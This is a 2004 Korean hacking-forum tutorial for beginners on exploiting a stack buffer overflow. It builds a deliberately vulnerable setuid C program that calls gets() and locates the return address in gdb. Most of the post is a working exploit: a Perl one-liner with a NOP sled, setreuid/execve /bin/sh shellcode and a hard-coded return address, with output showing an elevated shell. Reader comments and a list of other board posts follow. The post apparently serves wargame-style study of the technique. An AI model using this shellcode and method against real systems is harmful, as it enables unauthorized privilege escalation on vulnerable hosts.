1577, 6/79 회원가입  로그인  
   ssuckies
   http://www.ganseo.com
   BOF 해결 무작정 따라하기 #1

http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=181 [복사]


Produced by ganseo
e-mail : postmaster@ganseo.com
homepage : http://www.ganseo.com

아래 문서에서 주석처리된 부분이 설명입니다.
초보자들이 쉽게 따라 할 수 있도록 한번 만들어 봤습니다.
제 워게임 서버에서 테스트 해봤습니다.
두가지 버젼으로 준비해 봤습니다.
직접 버퍼에 쉘코드를 집어넣고 하는 방법과 egg 프로그램을 이용하는 방법입니다.

gcc 버젼 정보입니다.
[root@localhost .test]# gcc -v      
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/2.96/specs
gcc version 2.96 20000731 (HancomLinux 2.2 2.96-99hl)

[root@localhost /]# mkdir .test
[root@localhost /]# cd .test
//test 환경을 만들어 보겠습니다. 쓰지 말아야할 gets함수를 썼습니다.^^
[root@localhost .test]# cat > testApp.c        
#include <stdio.h>
void main(int argc , char** argv)
{
        char buffer[200];

        printf("type ur words : ");
        gets(buffer);
        printf("words = %s\n" , buffer);
}
[root@localhost .test]# gcc -o testApp testApp.c
testApp.c: In function `main':
testApp.c:3: warning: return type of `main' is not `int'
/tmp/ccFrX0ch.o: In function `main':
/tmp/ccFrX0ch.o(.text+0x24): the `gets' function is dangerous and should not be used.
[root@localhost .test]# chmod 4750 testApp
[root@localhost .test]# chown recluse8 testApp
[root@localhost .test]# chgrp recluse7 testApp
[root@localhost .test]# ls -al
합계 28
drwxr-xr-x    2 root     root         4096  4월 10 00:08 .
drwxr-xr-x   21 root     root         4096  4월  9 23:17 ..
-rwsr-x---    1 recluse8 recluse7    13842  4월 10 00:08 testApp
-rw-r--r--    1 root     root          155  4월 10 00:08 testApp.c
[root@localhost .test]#




//프로그램을 펄을 가지고 실험해보았습니다.
[root@localhost .test]# (perl -e 'print "A"x300';cat)|./testApp

type ur words : words = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

세그멘테이션 오류
[root@localhost .test]#

//세그멘테이션 오류가 나는걸 보니 bof가 일어납니다.



/*
*첫번째 방법입니다.
*일단 gdb로 disassemble 해서 우리가 넣을 버퍼의 주소와 ret address가 들어갈 부분을 알아보도록 하겠습니다.
*주변 지식은 ganseo.com의 문서를 참조하세요.
*앞으로 우리는 A로 체웠던 부분에 우리의 쉘코드를 넣을테고 main함수의 ret address부분에  
*우리가 넣은 쉘코드의 주소를 넣어줄 예정입니다.^^
*/
[root@localhost .test]# gdb -q testApp
(gdb) disass main
Dump of assembler code for function main:
0x8048490 <main>:       push   %ebp
0x8048491 <main+1>:     mov    %esp,%ebp
0x8048493 <main+3>:     sub    $0xd8,%esp
//buf를 컴파일러가 dummy와 함께 이만큼 잡는다. 10진수로 216
//그러면 앞으로 찾아볼 ebp - 0xd8을 한곳에 입력받은 값이 들어갈 것이라 예상할수 있다.
0x8048499 <main+9>:     sub    $0xc,%esp
0x804849c <main+12>:    push   $0x8048548
0x80484a1 <main+17>:    call   0x804836c <printf>
0x80484a6 <main+22>:    add    $0x10,%esp
0x80484a9 <main+25>:    sub    $0xc,%esp
0x80484ac <main+28>:    lea    0xffffff28(%ebp),%eax
0x80484b2 <main+34>:    push   %eax
0x80484b3 <main+35>:    call   0x804833c <gets>
0x80484b8 <main+40>:    add    $0x10,%esp
0x80484bb <main+43>:    sub    $0x8,%esp
0x80484be <main+46>:    lea    0xffffff28(%ebp),%eax
0x80484c4 <main+52>:    push   %eax
0x80484c5 <main+53>:    push   $0x8048559
0x80484ca <main+58>:    call   0x804836c <printf>
0x80484cf <main+63>:    add    $0x10,%esp
0x80484d2 <main+66>:    leave  
0x80484d3 <main+67>:    ret    
0x80484d4 <main+68>:    nop    
0x80484d5 <main+69>:    nop    
0x80484d6 <main+70>:    nop    
0x80484d7 <main+71>:    nop    
0x80484d8 <main+72>:    nop    
0x80484d9 <main+73>:    nop    
0x80484da <main+74>:    nop    
0x80484db <main+75>:    nop    
0x80484dc <main+76>:    nop    
0x80484dd <main+77>:    nop    
0x80484de <main+78>:    nop    
0x80484df <main+79>:    nop    
End of assembler dump.
(gdb)

//ebp를 찾아서 ret address가 어디있는지 추측해보자.
(gdb) b *(main+3)
0x08048493 in main ()
(gdb) info reg
eax            0x40158ac0       1075153600
ecx            0x0      0
edx            0x0      0
ebx            0x40159fd0       1075158992
esp            0xbffffab8       0xbffffab8        
ebp            0xbffffab8       0xbffffab8                //여기가 ebp다. 그렇다면 ebp + 4 부분에 우리가 만들 쉘코드의 address를 넣어주면 되겠다.
esi            0x40015e4c       1073831500
edi            0xbffffb24       -1073743068
eip            0x8048493        0x8048493
eflags         0x396    918
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x0      0
fctrl          0x37f    895
fstat          0x0      0
ftag           0xffff   65535
fiseg          0x23     35
fioff          0x400458fe       1074026750
foseg          0x2b     43
fooff          0x808fc74        134806644
fop            0x2e9    745
xmm0           0x00000000000000000000000000000000
xmm1           0x00000000000000000000000000000000
xmm2           0x00000000000000000000000000000000
xmm3           0x00000000000000000000000000000000
xmm4           0x00000000000000000000000000000000
xmm5           0x00000000000000000000000000000000
xmm6           0x00000000000000000000000000000000
xmm7           0x00000000000000000000000000000000
mxcsr          0x1f80   8064
(gdb)




(gdb) b *(main+58)
Breakpoint 1 at 0x80484ca
(gdb) r
Starting program: /.test/testApp
type ur words : AAAAAAAAAAAAAAA

Breakpoint 1, 0x080484ca in main ()
(gdb)

(gdb) x/100bx 0xbffff9e0
(gdb) x/100bx 0xbffff9d0
0xbffff9d0:     0x59    0x85    0x04    0x08    0xe0    0xf9    0xff    0xbf
0xbffff9d8:     0x74    0x61    0xdf    0x03    0xa0    0xfa    0xff    0xbf
0xbffff9e0:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41        //추측한대로 ebp - 0xd8부분에 A(0x41)이 들어가있다.
0xbffff9e8:     0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x00
0xbffff9f0:     0xfc    0x1b    0x03    0x40    0xe0    0x63    0x01    0x40
0xbffff9f8:     0x01    0x00    0x00    0x00    0xa0    0x81    0x04    0x08
0xbffffa00:     0x94    0x60    0x01    0x40    0x8e    0xff    0x77    0x01
0xbffffa08:     0x8e    0xff    0x77    0x01    0xd0    0xfa    0xff    0xbf
0xbffffa10:     0xf8    0x5e    0x01    0x40    0x4c    0x82    0x04    0x08
0xbffffa18:     0x10    0x69    0x69    0x0d    0x5c    0xfa    0xff    0xbf
0xbffffa20:     0xec    0x46    0x03    0x40    0xe0    0x63    0x01    0x40
0xbffffa28:     0xc0    0x66    0x01    0x40    0x01    0x00    0x00    0x00
0xbffffa30:     0x00    0x00    0x00    0x00
(gdb)

//이제 우리가 넣을 쉘코드의 주소도 알아냈고 쉘코드 주소가 들어가야할 부분의 주소도 알아냈으니
//간단한 펄스크립트를 만들어보자. 쉘코드는 문서를 참조하시길...
[root@localhost .test]# id recluse8
uid=1008(recluse8) gid=1008(recluse8) groups=1008(recluse8)

//쉘코드 byte 63
//main의 return address 까지의 byte  216 + 4 = 220
[root@localhost .test]# su recluse7
[recluse7@localhost .test]$ (perl -e 'print "\x90"x156';perl -e 'print "\x31\xc9\x66\xb9\xf0\x03\x31\xdb\x66\xbb\xf0\x03\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh\x00"';perl -e 'print "\xe0\xf9\xff\xbf"';cat)|./testApp

type ur words : words = 1?뱅1?삽1육F公^1픃F  V
                                             ?N?佰@滑?/bin/sh
                                              ?
id
uid=1008(recluse8) gid=1007(recluse7) groups=1007(recluse7)

성공했습니다.


  Hit : 12971     Date : 2004/04/12 02:01
[불법/스팸글로 신고하기]



    
singalnnn 뭔 소린지 모르겄습니다요... 2004/04/13  
Totory 머라는거야 -_- 2004/04/14  
풍림화산 이걸보고 모른다면 BOF공부 기초부터 하세요 실기를 상세히 설명한것인데..왜.. 2004/04/16
dlxorud90 기초 어디서는어디서 하는것이죠? 2004/04/20  
ssuckies www.ganseo.com 입니다.^^ 2004/04/22  
UNIXSVR4 ㅋㅋㅋ shellcode는 귀찮은거여... 2007/07/16  
UNIXSVR4 정말대단하십니다.이렇게 쉽게 bof를 설명하시다니... 정말 어렵게 공부했는데.. 2007/07/16  
1477   [펌] PC키퍼 깨기[4]     dzhfldk
08/22 13634
1476   * 엘리트해커가 되는길 *추천 *[30]     HackerMapia
03/02 13590
1475   리눅스 명령어 마스터 8 [마지막][44]     소유
09/10 13362
1474   [[초급/강좌]] 유닉스 주요 명령어[7]     소유
10/09 13321
1473   [자작]리눅스 압축 명령 정리.[2]     williamlee
12/29 13318
1472   [[초급/강좌]] 유닉스 기본 정리[8]     소유
10/09 13316
1471   리눅스 명령어 마스터 6[7]     소유
09/08 13292
1470   리눅스 명령어 마스터 7[8]     소유
09/09 13288
1469   레벨5 레이스컨디션에 대해서. [의외로 질문하시는 분들이 많아서..][9]     yl
10/01 13192
1468   리눅스 방화벽의 종류...[4]     bsjzzz
01/12 13008
1467   해커스쿨 Level1 풀이     xodnr631
08/20 12993
1466   넷센드 하는법(하도많이 물어보시길래;;)[13]     qkreoghks00
01/23 12990
  BOF 해결 무작정 따라하기 #1[7]     ssuckies
04/12 12970
1464   인터넷에 리눅스 서버 구축하기[1]     소유
07/07 12954
1463   Webhacking.kr 51번 RPG게임 나오기[4]     푸른하늘
03/31 12911
1462   ↓보충. 올바른 검색 조건으로, find명령어를 사용하자.[13]     yl
09/09 12824
1461   오라클 Enterprise Edition Release 8.0[6]     netwow1
12/14 12763
1460   C언어에서 사용되는 특수문자/서식문자[4]     xodnr631
08/18 12681
1459   [자작]백트랙 4 R1, 윈7 멀티부팅 (+ 한글화+grub설정)[4]     williamlee
11/20 12680
1458   윈도우 시스템의 컴퓨터에서 리눅스 설치방법[15]     o-0_o-0
09/19 12655
[1][2][3][4][5] 6 [7][8][9][10]..[79]

Copyright 1999-2022 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org & Wowhacker.com